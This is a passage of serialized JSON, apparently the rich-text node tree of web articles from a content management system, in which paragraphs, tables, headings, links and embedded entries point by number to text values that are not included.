,"nodeType":866},{},[21330],{"data":21331,"marks":21332,"value":9319,"nodeType":865},{},[21333],{"type":926},{"data":21335,"content":21336,"nodeType":2366},{},[21337],{"data":21338,"content":21339,"nodeType":866},{},[21340],{"data":21341,"marks":21342,"value":10403,"nodeType":865},{},[],{"data":21344,"content":21347,"nodeType":912},{"target":21345},{"sys":21346},{"id":10408,"type":909,"linkType":910},[],{"data":21349,"content":21350,"nodeType":972},{},[],{"data":21352,"content":21353,"nodeType":1317},{},[21354],{"data":21355,"marks":21356,"value":10420,"nodeType":865},{},[21357],{"type":926},{"data":21359,"content":21362,"nodeType":912},{"target":21360},{"sys":21361},{"id":10425,"type":909,"linkType":910},[],{"data":21364,"content":21365,"nodeType":2927},{},[21366,21388,21424,21446,21468],{"data":21367,"content":21368,"nodeType":2400},{},[21369,21379],{"data":21370,"content":21371,"nodeType":2366},{},[21372],{"data":21373,"content":21374,"nodeType":866},{},[21375],{"data":21376,"marks":21377,"value":8937,"nodeType":865},{},[21378],{"type":926},{"data":21380,"content":21381,"nodeType":2366},{},[21382],{"data":21383,"content":21384,"nodeType":866},{},[21385],{"data":21386,"marks":21387,"value":10452,"nodeType":865},{},[],{"data":21389,"content":21390,"nodeType":2400},{},[21391,21401],{"data":21392,"content":21393,"nodeType":2366},{},[21394],{"data":21395,"content":21396,"nodeType":866},{},[21397],{"data":21398,"marks":21399,"value":8961,"nodeType":865},{},[21400],{"type":926},{"data":21402,"content":21403,"nodeType":2366},{},[21404,21414],{"data":21405,"content":21406,"nodeType":866},{},[21407,21411],{"data":21408,"marks":21409,"value":9436,"nodeType":865},{},[21410],{"type":926},{"data":21412,"marks":21413,"value":10479,"nodeType":865},{},[],{"data":21415,"content":21416,"nodeType":866},{},[21417,21421],{"data":21418,"marks":21419,"value":9002,"nodeType":865},{},[21420],{"type":926},{"data":21422,"marks":21423,"value":10490,"nodeType":865},{},[],{"data":21425,"content":21426,"nodeType":2400},{},[21427,21437],{"data":21428,"content":21429,"nodeType":2366},{},[21430],{"data":21431,"content":21432,"nodeType":866},{},[21433],{"data":21434,"marks":21435,"value":9044,"nodeType":865},{},[21436],{"type":926},{"data":21438,"content":21439,"nodeType":2366},{},[21440],{"data":21441,"content":21442,"nodeType":866},{},[21443],{"data":21444,"marks":21445,"value":10513,"nodeType":865},{},[],{"data":21447,"content":21448,"nodeType":2400},{},[21449,21459],{"data":21450,"content":21451,"nodeType":2366},{},[21452],{"data":21453,"content":21454,"nodeType":866},{},[21455],{"data":21456,"marks":21457,"value":9096,"nodeType":865},{},[21458],{"type":926},{"data":21460,"content":21461,"nodeType":2366},{},[21462],{"data":21463,"content":21464,"nodeType":866},{},[21465],{"data":21466,"marks":21467,"value":10536,"nodeType":865},{},[],{"data":21469,"content":21470,"nodeType":2400},{},[21471,21481],{"data":21472,"content":21473,"nodeType":2366},{},[21474],{"data":21475,"content":21476,"nodeType":866},{},[21477],{"data":21478,"marks":21479,"value":9319,"nodeType":865},{},[21480],{"type":926},{"data":21482,"content":21483,"nodeType":2366},{},[21484],{"data":21485,"content":21486,"nodeType":866},{},[21487],{"data":21488,"marks":21489,"value":10559,"nodeType":865},{},[],{"data":21491,"content":21494,"nodeType":912},{"target":21492},{"sys":21493},{"id":10564,"type":909,"linkType":910},[],{"data":21496,"content":21497,"nodeType":972},{},[],{"data":21499,"content":21500,"nodeType":1317},{},[21501],{"data":21502,"marks":21503,"value":10576,"nodeType":865},{},[21504],{"type":926},{"data":21506,"content":21507,"nodeType":2927},{},[21508,21530],{"data":21509,"content":21510,"nodeType":2400},{},[21511,21521],{"data":21512,"content":21513,"nodeType":2366},{},[21514],{"data":21515,"content":21516,"nodeType":866},{},[21517],{"data":21518,"marks":21519,"value":9044,"nodeType":865},{},[21520],{"type":926},{"data":21522,"content":21523,"nodeType":2366},{},[21524],{"data":21525,"content":21526,"nodeType":866},{},[21527],{"data":21528,"marks":21529,"value":10602,"nodeType":865},{},[],{"data":21531,"content":21532,"nodeType":2400},{},[21533,21543],{"data":21534,"content":21535,"nodeType":2366},{},[21536],{"data":21537,"content":21538,"nodeType":866},{},[21539],{"data":21540,"marks":21541,"value":9096,"nodeType":865},{},[21542],{"type":926},{"data":21544,"content":21545,"nodeType":2366},{},[21546],{"data":21547,"content":21548,"nodeType":866},{},[21549],{"data":21550,"marks":21551,"value":10625,"nodeType":865},{},[],{"data":21553,"content":21556,"nodeType":912},{"target":21554},{"sys":21555},{"id":10630,"type":909,"linkType":910},[],{"data":21558,"content":21559,"nodeType":972},{},[],{"data":21561,"content":21562,"nodeType":1317},{},[21563],{"data":21564,"marks":21565,"value":10642,"nodeType":865},{},[21566],{"type":926},{"data":21568,"content":21569,"nodeType":2927},{},[21570,21598,21634,21656,21678],{"data":21571,"content":21572,"nodeType":2400},{},[21573,21583],{"data":21574,"content":21575,"nodeType":2366},{},[21576],{"data":21577,"content":21578,"nodeType":866},{},[21579],{"data":21580,"marks":21581,"value":8937,"nodeType":865},{},[21582],{"type":926},{"data":21584,"content":21585,"nodeType":2366},{},[21586,21592],{"data":21587,"content":21588,"nodeType":866},{},[21589],{"data":21590,"marks":21591,"value":10668,"nodeType":865},{},[],{"data":21593,"content":21594,"nodeType":866},{},[21595],{"data":21596,"marks":21597,"value":10675,"nodeType":865},{},[],{"data":21599,"content":21600,"nodeType":2400},{},[21601,21611],{"data":21602,"content":21603,"nodeType":2366},{},[21604],{"data":21605,"content":21606,"nodeType":866},{},[21607],{"data":21608,"marks":21609,"value":8961,"nodeType":865},{},[21610],{"type":926},{"data":21612,"content":21613,"nodeType":2366},{},[21614,21624],{"data":21615,"content":21616,"nodeType":866},{},[21617,21621],{"data":21618,"marks":21619,"value":9436,"nodeType":865},{},[21620],{"type":926},{"data":21622,"marks":21623,"value":10702,"nodeType":865},{},[],{"data":21625,"content":21626,"nodeType":866},{},[21627,21631],{"data":21628,"marks":21629,"value":9002,"nodeType":865},{},[21630],{"type":926},{"data":21632,"marks":21633,"value":9259,"nodeType":865},{},[],{"data":21635,"content":21636,"nodeType":2400},{},[21637,21647],{"data":21638,"content":21639,"nodeType":2366},{},[21640],{"data":21641,"content":21642,"nodeType":866},{},[21643],{"data":21644,"marks":21645,"value":9044,"nodeType":865},{},[21646],{"type":926},{"data":21648,"content":21649,"nodeType":2366},{},[21650],{"data":21651,"content":21652,"nodeType":866},{},[21653],{"data":21654,"marks":21655,"value":10735,"nodeType":865},{},[],{"data":21657,"content":21658,"nodeType":2400},{},[21659,21669],{"data":21660,"content":21661,"nodeType":2366},{},[21662],{"data":21663,"content":21664,"nodeType":866},{},[21665],{"data":21666,"marks":21667,"value":9096,"nodeType":865},{},[21668],{"type":926},{"data":21670,"content":21671,"nodeType":2366},{},[21672],{"data":21673,"content":21674,"nodeType":866},{},[21675],{"data":21676,"marks":21677,"value":10758,"nodeType":865},{},[],{"data":21679,"content":21680,"nodeType":2400},{},[21681,21691],{"data":21682,"content":21683,"nodeType":2366},{},[21684],{"data":21685,"content":21686,"nodeType":866},{},[21687],{"data":21688,"marks":21689,"value":9319,"nodeType":865},{},[21690],{"type":926},{"data":21692,"content":21693,"nodeType":2366},{},[21694],{"data":21695,"content":21696,"nodeType":866},{},[21697],{"data":21698,"marks":21699,"value":10781,"nodeType":865},{},[],{"data":21701,"content":21704,"nodeType":912},{"target":21702},{"sys":21703},{"id":7334,"type":909,"linkType":910},[],{"data":21706,"content":21707,"nodeType":972},{},[],{"data":21709,"content":21710,"nodeType":1317},{},[21711],{"data":21712,"marks":21713,"value":10797,"nodeType":865},{},[21714],{"type":926},{"data":21716,"content":21717,"nodeType":2927},{},[21718,21740,21776,21798,21820],{"data":21719,"content":21720,"nodeType":2400},{},[21721,21731],{"data":21722,"content":21723,"nodeType":2366},{},[21724],{"data":21725,"content":21726,"nodeType":866},{},[21727],{"data":21728,"marks":21729,"value":8937,"nodeType":865},{},[21730],{"type":926},{"data":21732,"content":21733,"nodeType":2366},{},[21734],{"data":21735,"content":21736,"nodeType":866},{},[21737],{"data":21738,"marks":21739,"value":10823,"nodeType":865},{},[],{"data":21741,"content":21742,"nodeType":2400},{},[21743,21753],{"data":21744,"content":21745,"nodeType":2366},{},[21746],{"data":21747,"content":21748,"nodeType":866},{},[21749],{"data":21750,"marks":21751,"value":8961,"nodeType":865},{},[21752],{"type":926},{"data":21754,"content":21755,"nodeType":2366},{},[21756,21766],{"data":21757,"content":21758,"nodeType":866},{},[21759,21763],{"data":21760,"marks":21761,"value":9436,"nodeType":865},{},[21762],{"type":926},{"data":21764,"marks":21765,"value":10850,"nodeType":865},{},[],{"data":21767,"content":21768,"nodeType":866},{},[21769,21773],{"data":21770,"marks":21771,"value":9002,"nodeType":865},{},[21772],{"type":926},{"data":21774,"marks":21775,"value":10861,"nodeType":865},{},[],{"data":21777,"content":21778,"nodeType":2400},{},[21779,21789],{"data":21780,"content":21781,"nodeType":2366},{},[21782],{"data":21783,"content":21784,"nodeType":866},{},[21785],{"data":21786,"marks":21787,"value":9044,"nodeType":865},{},[21788],{"type":926},{"data":21790,"content":21791,"nodeType":2366},{},[21792],{"data":21793,"content":21794,"nodeType":866},{},[21795],{"data":21796,"marks":21797,"value":10735,"nodeType":865},{},[],{"data":21799,"content":21800,"nodeType":2400},{},[21801,21811],{"data":21802,"content":21803,"nodeType":2366},{},[21804],{"data":21805,"content":21806,"nodeType":866},{},[21807],{"data":21808,"marks":21809,"value":9096,"nodeType":865},{},[21810],{"type":926},{"data":21812,"content":21813,"nodeType":2366},{},[21814],{"data":21815,"content":21816,"nodeType":866},{},[21817],{"data":21818,"marks":21819,"value":10906,"nodeType":865},{},[],{"data":21821,"content":21822,"nodeType":2400},{},[21823,21833],{"data":21824,"content":21825,"nodeType":2366},{},[21826],{"data":21827,"content":21828,"nodeType":866},{},[21829],{"data":21830,"marks":21831,"value":9319,"nodeType":865},{},[21832],{"type":926},{"data":21834,"content":21835,"nodeType":2366},{},[21836],{"data":21837,"content":21838,"nodeType":866},{},[21839],{"data":21840,"marks":21841,"value":10929,"nodeType":865},{},[],{"data":21843,"content":21846,"nodeType":912},{"target":21844},{"sys":21845},{"id":10934,"type":909,"linkType":910},[],{"data":21848,"content":21849,"nodeType":972},{},[],{"data":21851,"content":21852,"nodeType":981},{},[21853],{"data":21854,"marks":21855,"value":10946,"nodeType":865},{},[21856],{"type":926},{"data":21858,"content":21859,"nodeType":866},{},[21860,21863],{"data":21861,"marks":21862,"value":10953,"nodeType":865},{},[],{"data":21864,"marks":21865,"value":10958,"nodeType":865},{},[21866],{"type":926},{"data":21868,"content":21869,"nodeType":866},{},[21870],{"data":21871,"marks":21872,"value":10965,"nodeType":865},{},[],{"data":21874,"content":21877,"nodeType":912},{"target":21875},{"sys":21876},{"id":10970,"type":909,"linkType":910},[],{"data":21879,"content":21882,"nodeType":912},{"target":21880},{"sys":21881},{"id":10976,"type":909,"linkType":910},[],{"data":21884,"content":21885,"nodeType":866},{},[21886],{"data":21887,"marks":21888,"value":10984,"nodeType":865},{},[],{"data":21890,"content":21891,"nodeType":866},{},[21892,21895,21899,21902],{"data":21893,"marks":21894,"value":10991,"nodeType":865},{},[],{"data":21896,"marks":21897,"value":10996,"nodeType":865},{},[21898],{"type":926},{"data":21900,"marks":21901,"value":11000,"nodeType":865},{},[],{"data":21903,"marks":21904,"value":11005,"nodeType":865},{},[21905],{"type":926},{"data":21907,"content":21908,"nodeType":866},{},[21909,21912,21916],{"data":21910,"marks":21911,"value":11012,"nodeType":865},{},[],{"data":21913,"marks":21914,"value":11017,"nodeType":865},{},[21915],{"type":926},{"data":21917,"marks":21918,"value":11021,"nodeType":865},{},[],{"data":21920,"content":21923,"nodeType":912},{"target":21921},{"sys":21922},{"id":11026,"type":909,"linkType":910},[],{"data":21925,"content":21926,"nodeType":972},{},[],{"data":21928,"content":21929,"nodeType":981},{},[21930],{"data":21931,"marks":21932,"value":11038,"nodeType":865},{},[21933],{"type":926},{"data":21935,"content":21936,"nodeType":1317},{},[21937],{"data":21938,"marks":21939,"value":11046,"nodeType":865},{},[21940],{"type":926},{"data":21942,"content":21943,"nodeType":866},{},[21944,21947,21951,21954],{"data":21945,"marks":21946,"value":11053,"nodeType":865},{},[],{"data":21948,"marks":21949,"value":11058,"nodeType":865},{},[21950],{"type":926},{"data":21952,"marks":21953,"value":11062,"nodeType":865},{},[],{"data":21955,"marks":21956,"value":11067,"nodeType":865},{},[21957],{"type":926},{"data":21959,"content":21960,"nodeType":866},{},[21961,21965,21968,21972],{"data":21962,"marks":21963,"value":11075,"nodeType":865},{},[21964],{"type":926},{"data":21966,"marks":21967,"value":11079,"nodeType":865},{},[],{"data":21969,"marks":21970,"value":11084,"nodeType":865},{},[21971],{"type":926},{"data":21973,"marks":21974,"value":11088,"nodeType":865},{},[],{"data":21976,"content":21979,"nodeType":912},{"target":21977},{"sys":21978},{"id":10022,"type":909,"linkType":910},[],{"data":21981,"content":21982,"nodeType":866},{},[21983],{"data":21984,"marks":21985,"value":11100,"nodeType":865},{},[],{"data":21987,"content":21988,"nodeType":866},{},[21989],{"data":21990,"marks":21991,"value":11107,"nodeType":865},{},[],{"data":21993,"content":21994,"nodeType":1317},{},[21995],{"data":21996,"marks":21997,"value":11115,"nodeType":865},{},[21998],{"type":926},{"data":22000,"content":22001,"nodeType":866},{},[22002],{"data":22003,"marks":22004,"value":11122,"nodeType":865},{},[],{"data":22006,"content":22007,"nodeType":866},{},[22008],{"data":22009,"marks":22010,"value":11129,"nodeType":865},{},[],{"data":22012,"content":22013,"nodeType":866},{},[22014],{"data":22015,"marks":22016,"value":11136,"nodeType":865},{},[],{"data":22018,"content":22019,"nodeType":1317},{},[22020],{"data":22021,"marks":22022,"value":11144,"nodeType":865},{},[22023],{"type":926},{"data":22025,"content":22026,"nodeType":866},{},[22027],{"data":22028,"marks":22029,"value":11151,"nodeType":865},{},[],{"data":22031,"content":22032,"nodeType":1616},{},[22033,22046,22059],{"data":22034,"content":22035,"nodeType":1570},{},[22036],{"data":22037,"content":22038,"nodeType":866},{},[22039,22043],{"data":22040,"marks":22041,"value":11165,"nodeType":865},{},[22042],{"type":926},{"data":22044,"marks":22045,"value":11169,"nodeType":865},{},[],{"data":22047,"content":22048,"nodeType":1570},{},[22049],{"data":22050,"content":22051,"nodeType":866},{},[22052,22056],{"data":22053,"marks":22054,"value":8641,"nodeType":865},{},[22055],{"type":926},{"data":22057,"marks":22058,"value":11183,"nodeType":865},{},[],{"data":22060,"content":22061,"nodeType":1570},{},[22062],{"data":22063,"content":22064,"nodeType":866},{},[22065,22068,22072],{"data":22066,"marks":22067,"value":11193,"nodeType":865},{},[],{"data":22069,"marks":22070,"value":11198,"nodeType":865},{},[22071],{"type":926},{"data":22073,"marks":22074,"value":11202,"nodeType":865},{},[],{"data":22076,"content":22079,"nodeType":912},{"target":22077},{"sys":22078},{"id":11207,"type":909,"linkType":910},[],{"data":22081,"content":22082,"nodeType":972},{},[],{"data":22084,"content":22085,"nodeType":981},{},[22086],{"data":22087,"marks":22088,"value":11219,"nodeType":865},{},[22089],{"type":926},{"data":22091,"content":22092,"nodeType":866},{},[22093],{"data":22094,"marks":22095,"value":11226,"nodeType":865},{},[],{"data":22097,"content":22098,"nodeType":866},{},[22099],{"data":22100,"marks":22101,"value":11233,"nodeType":865},{},[],{"data":22103,"content":22104,"nodeType":866},{},[22105,22108,22115,22118,22122,22125,22129,22132,22136],{"data":22106,"marks":22107,"value":11240,"nodeType":865},{},[],{"data":22109,"content":22110,"nodeType":889},{"uri":11243},[22111],{"data":22112,"marks":22113,"value":11249,"nodeType":865},{},[22114],{"type":943},{"data":22116,"marks":22117,"value":11253,"nodeType":865},{},[],{"data":22119,"marks":22120,"value":11258,"nodeType":865},{},[22121],{"type":926},{"data":22123,"marks":22124,"value":11262,"nodeType":865},{},[],{"data":22126,"marks":22127,"value":11267,"nodeType":865},{},[22128],{"type":926},{"data":22130,"marks":22131,"value":11271,"nodeType":865},{},[],{"data":22133,"marks":22134,"value":11276,"nodeType":865},{},[22135],{"type":926},{"data":22137,"marks":22138,"value":11280,"nodeType":865},{},[],{"data":22140,"content":22143,"nodeType":912},{"target":22141},{"sys":22142},{"id":11285,"type":909,"linkType":910},[],{"data":22145,"content":22146,"nodeType":866},{},[22147],{"data":22148,"marks":22149,"value":11293,"nodeType":865},{},[],{"data":22151,"content":22152,"nodeType":972},{},[],{"data":22154,"content":22155,"nodeType":981},{},[22156],{"data":22157,"marks":22158,"value":11304,"nodeType":865},{},[22159],{"type":926},{"data":22161,"content":22162,"nodeType":866},{},[22163],{"data":22164,"marks":22165,"value":11311,"nodeType":865},{},[],{"data":22167,"content":22168,"nodeType":866},{},[22169],{"data":22170,"marks":22171,"value":11318,"nodeType":865},{},[],{"data":22173,"content":22174,"nodeType":866},{},[22175,22178,22185],{"data":22176,"marks":22177,"value":11325,"nodeType":865},{},[],{"data":22179,"content":22180,"nodeType":889},{"uri":11328},[22181],{"data":22182,"marks":22183,"value":11334,"nodeType":865},{},[22184],{"type":943},{"data":22186,"marks":22187,"value":11338,"nodeType":865},{},[],{"data":22189,"content":22192,"nodeType":912},{"target":22190},{"sys":22191},{"id":11343,"type":909,"linkType":910},[],{"data":22194,"content":22195,"nodeType":866},{},[22196],{"data":22197,"marks":22198,"value":11351,"nodeType":865},{},[],{"data":22200,"content":22201,"nodeType":1317},{},[22202],{"data":22203,"marks":22204,"value":2270,"nodeType":865},{},[22205],{"type":926},{"data":22207,"content":22208,"nodeType":866},{},[22209],{"data":22210,"marks":22211,"value":11365,"nodeType":865},{},[],{"data":22213,"content":22214,"nodeType":866},{},[22215,22218,22225,22228,22235,22238,22245],{"data":22216,"marks":22217,"value":11372,"nodeType":865},{},[],{"data":22219,"content":22220,"nodeType":889},{"uri":11375},[22221],{"data":22222,"marks":22223,"value":11381,"nodeType":865},{},[22224],{"type":943},{"data":22226,"marks":22227,"value":2717,"nodeType":865},{},[],{"data":22229,"content":22230,"nodeType":889},{"uri":11387},[22231],{"data":22232,"marks":22233,"value":11393,"nodeType":865},{},[22234],{"type":943},{"data":22236,"marks":22237,"value":11397,"nodeType":865},{},[],{"data":22239,"content":22240,"nodeType":889},{"uri":1372},[22241],{"data":22242,"marks":22243,"value":11405,"nodeType":865},{},[22244],{"type":943},{"data":22246,"marks":22247,"value":1615,"nodeType":865},{},[],{"items":22249},[22250,22252],{"sys":22251,"name":7796},{"id":7795},{"sys":22253,"name":342},{"id":4642},{"items":22255},[22256],{"fullName":11421,"firstName":11422,"jobTitle":11423,"profilePicture":22257},{"url":11425},{"__typename":1429,"sys":22259,"content":22260,"title":13335,"synopsis":13336,"hashTags":59,"publishedDate":13337,"slug":13338,"tagsCollection":22969,"authorsCollection":22975},{"id":12509},{"json":22261},{"data":22262,"content":22263,"nodeType":1382},{},[22264,22279,22294,22309,22314,22317,22324,22330,22336,22342,22348,22355,22358,22365,22371,22377,22383,22388,22395,22410,22416,22422,22435,22442,22466,22479,22485,22509,22516,22540,22546,22553,22568,22574,22580,22585,22591,22598,22613,22619,22635,22641,22644,22651,22657,22732,22738,22751,22754,22779,22794,22800,22806,22809,22816,22831,22837,22843,22858,22861,22868,22874,22904,22910,22925,22940,22945,22948,22954],{"data":22265,"content":22266,"nodeType":866},{},[22267,22270,22276],{"data":22268,"marks":22269,"value":12520,"nodeType":865},{},[],{"data":22271,"content":22272,"nodeType":889},{"uri":12523},[22273],{"data":22274,"marks":22275,"value":12528,"nodeType":865},{},[],{"data":22277,"marks":22278,"value":12532,"nodeType":865},{},[],{"data":22280,"content":22281,"nodeType":866},{},[22282,22285,22291],{"data":22283,"marks":22284,"value":12539,"nodeType":865},{},[],{"data":22286,"content":22287,"nodeType":889},{"uri":12542},[22288],{"data":22289,"marks":22290,"value":12547,"nodeType":865},{},[],{"data":22292,"marks":22293,"value":12551,"nodeType":865},{},[],{"data":22295,"content":22296,"nodeType":866},{},[22297,22300,22306],{"data":22298,"marks":22299,"value":12558,"nodeType":865},{},[],{"data":22301,"content":22302,"nodeType":889},{"uri":8393},[22303],{"data":22304,"marks":22305,"value":8396,"nodeType":865},{},[],{"data":22307,"marks":22308,"value":12568,"nodeType":865},{},[],{"data":22310,"content":22313,"nodeType":912},{"target":22311},{"sys":22312},{"id":12573,"type":909,"linkType":910},[],{"data":22315,"content":22316,"nodeType":972},{},[],{"data":22318,"content":22319,"nodeType":981},{},[22320],{"data":22321,"marks":22322,"value":12585,"nodeType":865},{},[22323],{"type":926},{"data":22325,"content":22326,"nodeType":866},{},[22327],{"data":22328,"marks":22329,"value":12592,"nodeType":865},{},[],{"data":22331,"content":22332,"nodeType":866},{},[22333],{"data":22334,"marks":22335,"value":12599,"nodeType":865},{},[],{"data":22337,"content":22338,"nodeType":866},{},[22339],{"data":22340,"marks":22341,"value":12606,"nodeType":865},{},[],{"data":22343,"content":22344,"nodeType":866},{},[22345],{"data":22346,"marks":22347,"value":12613,"nodeType":865},{},[],{"data":22349,"content":22350,"nodeType":866},{},[22351],{"data":22352,"marks":22353,"value":12621,"nodeType":865},{},[22354],{"type":926},{"data":22356,"content":22357,"nodeType":972},{},[],{"data":22359,"content":22360,"nodeType":981},{},[22361],{"data":22362,"marks":22363,"value":12632,"nodeType":865},{},[22364],{"type":926},{"data":22366,"content":22367,"nodeType":866},{},[22368],{"data":22369,"marks":22370,"value":12639,"nodeType":865},{},[],{"data":22372,"content":22373,"nodeType":866},{},[22374],{"data":22375,"marks":22376,"value":12646,"nodeType":865},{},[],{"data":22378,"content":22379,"nodeType":866},{},[22380],{"data":22381,"marks":22382,"value":12653,"nodeType":865},{},[],{"data":22384,"content":22387,"nodeType":912},{"target":22385},{"sys":22386},{"id":12658,"type":909,"linkType":910},[],{"data":22389,"content":22390,"nodeType":1317},{},[22391],{"data":22392,"marks":22393,"value":12667,"nodeType":865},{},[22394],{"type":926},{"data":22396,"content":22397,"nodeType":866},{},[22398,22401,22407],{"data":22399,"marks":22400,"value":12674,"nodeType":865},{},[],{"data":22402,"content":22403,"nodeType":889},{"uri":4813},[22404],{"data":22405,"marks":22406,"value":12681,"nodeType":865},{},[],{"data":22408,"marks":22409,"value":12685,"nodeType":865},{},[],{"data":22411,"content":22412,"nodeType":866},{},[22413],{"data":22414,"marks":22415,"value":12692,"nodeType":865},{},[],{"data":22417,"content":22418,"nodeType":866},{},[22419],{"data":22420,"marks":22421,"value":12699,"nodeType":865},{},[],{"data":22423,"content":22424,"nodeType":866},{},[22425,22428,22432],{"data":22426,"marks":22427,"value":12706,"nodeType":865},{},[],{"data":22429,"marks":22430,"value":12711,"nodeType":865},{},[22431],{"type":926},{"data":22433,"marks":22434,"value":12715,"nodeType":865},{},[],{"data":22436,"content":22437,"nodeType":1317},{},[22438],{"data":22439,"marks":22440,"value":12723,"nodeType":865},{},[22441],{"type":926},{"data":22443,"content":22444,"nodeType":866},{},[22445,22448,22454,22457,22463],{"data":22446,"marks":22447,"value":12730,"nodeType":865},{},[],{"data":22449,"content":22450,"nodeType":889},{"uri":6864},[22451],{"data":22452,"marks":22453,"value":12737,"nodeType":865},{},[],{"data":22455,"marks":22456,"value":12741,"nodeType":865},{},[],{"data":22458,"content":22459,"nodeType":889},{"uri":1929},[22460],{"data":22461,"marks":22462,"value":12748,"nodeType":865},{},[],{"data":22464,"marks":22465,"value":12752,"nodeType":865},{},[],{"data":22467,"content":22468,"nodeType":866},{},[22469,22472,22476],{"data":22470,"marks":22471,"value":12759,"nodeType":865},{},[],{"data":22473,"marks":22474,"value":12764,"nodeType":865},{},[22475],{"type":926},{"data":22477,"marks":22478,"value":12768,"nodeType":865},{},[],{"data":22480,"content":22481,"nodeType":866},{},[22482],{"data":22483,"marks":22484,"value":12775,"nodeType":865},{},[],{"data":22486,"content":22487,"nodeType":866},{},[22488,22491,22497,22500,22506],{"data":22489,"marks":22490,"value":12782,"nodeType":865},{},[],{"data":22492,"content":22493,"nodeType":889},{"uri":7712},[22494],{"data":22495,"marks":22496,"value":8158,"nodeType":865},{},[],{"data":22498,"marks":22499,"value":12792,"nodeType":865},{},[],{"data":22501,"content":22502,"nodeType":889},{"uri":7472},[22503],{"data":22504,"marks":22505,"value":7465,"nodeType":865},{},[],{"data":22507,"marks":22508,"value":12802,"nodeType":865},{},[],{"data":22510,"content":22511,"nodeType":1317},{},[22512],{"data":22513,"marks":22514,"value":12810,"nodeType":865},{},[22515],{"type":926},{"data":22517,"content":22518,"nodeType":866},{},[22519,22522,22528,22531,22537],{"data":22520,"marks":22521,"value":12817,"nodeType":865},{},[],{"data":22523,"content":22524,"nodeType":889},{"uri":12820},[22525],{"data":22526,"marks":22527,"value":12825,"nodeType":865},{},[],{"data":22529,"marks":22530,"value":12829,"nodeType":865},{},[],{"data":22532,"content":22533,"nodeType":889},{"uri":5739},[22534],{"data":22535,"marks":22536,"value":12836,"nodeType":865},{},[],{"data":22538,"marks":22539,"value":12840,"nodeType":865},{},[],{"data":22541,"content":22542,"nodeType":866},{},[22543],{"data":22544,"marks":22545,"value":12847,"nodeType":865},{},[],{"data":22547,"content":22548,"nodeType":1317},{},[22549],{"data":22550,"marks":22551,"value":12855,"nodeType":865},{},[22552],{"type":926},{"data":22554,"content":22555,"nodeType":866},{},[22556,22559,22565],{"data":22557,"marks":22558,"value":12862,"nodeType":865},{},[],{"data":22560,"content":22561,"nodeType":889},{"uri":1951},[22562],{"data":22563,"marks":22564,"value":12869,"nodeType":865},{},[],{"data":22566,"marks":22567,"value":12873,"nodeType":865},{},[],{"data":22569,"content":22570,"nodeType":866},{},[22571],{"data":22572,"marks":22573,"value":12880,"nodeType":865},{},[],{"data":22575,"content":22576,"nodeType":866},{},[22577],{"data":22578,"marks":22579,"value":12887,"nodeType":865},{},[],{"data":22581,"content":22584,"nodeType":912},{"target":22582},{"sys":22583},{"id":12892,"type":909,"linkType":910},[],{"data":22586,"content":22587,"nodeType":866},{},[22588],{"data":22589,"marks":22590,"value":12900,"nodeType":865},{},[],{"data":22592,"content":22593,"nodeType":1317},{},[22594],{"data":22595,"marks":22596,"value":12908,"nodeType":865},{},[22597],{"type":926},{"data":22599,"content":22600,"nodeType":866},{},[22601,22604,22610],{"data":22602,"marks":22603,"value":12915,"nodeType":865},{},[],{"data":22605,"content":22606,"nodeType":889},{"uri":3720},[22607],{"data":22608,"marks":22609,"value":12922,"nodeType":865},{},[],{"data":22611,"marks":22612,"value":12926,"nodeType":865},{},[],{"data":22614,"content":22615,"nodeType":866},{},[22616],{"data":22617,"marks":22618,"value":12933,"nodeType":865},{},[],{"data":22620,"content":22621,"nodeType":866},{},[22622,22625,22632],{"data":22623,"marks":22624,"value":12940,"nodeType":865},{},[],{"data":22626,"content":22627,"nodeType":889},{"uri":3720},[22628],{"data":22629,"marks":22630,"value":12948,"nodeType":865},{},[22631],{"type":943},{"data":22633,"marks":22634,"value":12952,"nodeType":865},{},[],{"data":22636,"content":22637,"nodeType":866},{},[22638],{"data":22639,"marks":22640,"value":12959,"nodeType":865},{},[],{"data":22642,"content":22643,"nodeType":972},{},[],{"data":22645,"content":22646,"nodeType":981},{},[22647],{"data":22648,"marks":22649,"value":12970,"nodeType":865},{},[22650],{"type":926},{"data":22652,"content":22653,"nodeType":866},{},[22654],{"data":22655,"marks":22656,"value":12977,"nodeType":865},{},[],{"data":22658,"content":22659,"nodeType":1616},{},[22660,22678,22696,22714],{"data":22661,"content":22662,"nodeType":1570},{},[22663],{"data":22664,"content":22665,"nodeType":866},{},[22666,22669,22675],{"data":22667,"marks":22668,"value":12990,"nodeType":865},{},[],{"data":22670,"content":22671,"nodeType":889},{"uri":4991},[22672],{"data":22673,"marks":22674,"value":8673,"nodeType":865},{},[],{"data":22676,"marks":22677,"value":13000,"nodeType":865},{},[],{"data":22679,"content":22680,"nodeType":1570},{},[22681],{"data":22682,"content":22683,"nodeType":866},{},[22684,22687,22693],{"data":22685,"marks":22686,"value":13010,"nodeType":865},{},[],{"data":22688,"content":22689,"nodeType":889},{"uri":13013},[22690],{"data":22691,"marks":22692,"value":13018,"nodeType":865},{},[],{"data":22694,"marks":22695,"value":13022,"nodeType":865},{},[],{"data":22697,"content":22698,"nodeType":1570},{},[22699],{"data":22700,"content":22701,"nodeType":866},{},[22702,22705,22711],{"data":22703,"marks":22704,"value":12990,"nodeType":865},{},[],{"data":22706,"content":22707,"nodeType":889},{"uri":7472},[22708],{"data":22709,"marks":22710,"value":13038,"nodeType":865},{},[],{"data":22712,"marks":22713,"value":13042,"nodeType":865},{},[],{"data":22715,"content":22716,"nodeType":1570},{},[22717],{"data":22718,"content":22719,"nodeType":866},{},[22720,22723,22729],{"data":22721,"marks":22722,"value":1449,"nodeType":865},{},[],{"data":22724,"content":22725,"nodeType":889},{"uri":13054},[22726],{"data":22727,"marks":22728,"value":3493,"nodeType":865},{},[],{"data":22730,"marks":22731,"value":13062,"nodeType":865},{},[],{"data":22733,"content":22734,"nodeType":866},{},[22735],{"data":22736,"marks":22737,"value":13069,"nodeType":865},{},[],{"data":22739,"content":22740,"nodeType":866},{},[22741,22744,22748],{"data":22742,"marks":22743,"value":13076,"nodeType":865},{},[],{"data":22745,"marks":22746,"value":13081,"nodeType":865},{},[22747],{"type":926},{"data":22749,"marks":22750,"value":13085,"nodeType":865},{},[],{"data":22752,"content":22753,"nodeType":972},{},[],{"data":22755,"content":22756,"nodeType":981},{},[22757,22761,22766,22770,22775],{"data":22758,"marks":22759,"value":13096,"nodeType":865},{},[22760],{"type":926},{"data":22762,"marks":22763,"value":13102,"nodeType":865},{},[22764,22765],{"type":898},{"type":926},{"data":22767,"marks":22768,"value":13107,"nodeType":865},{},[22769],{"type":926},{"data":22771,"marks":22772,"value":13113,"nodeType":865},{},[22773,22774],{"type":898},{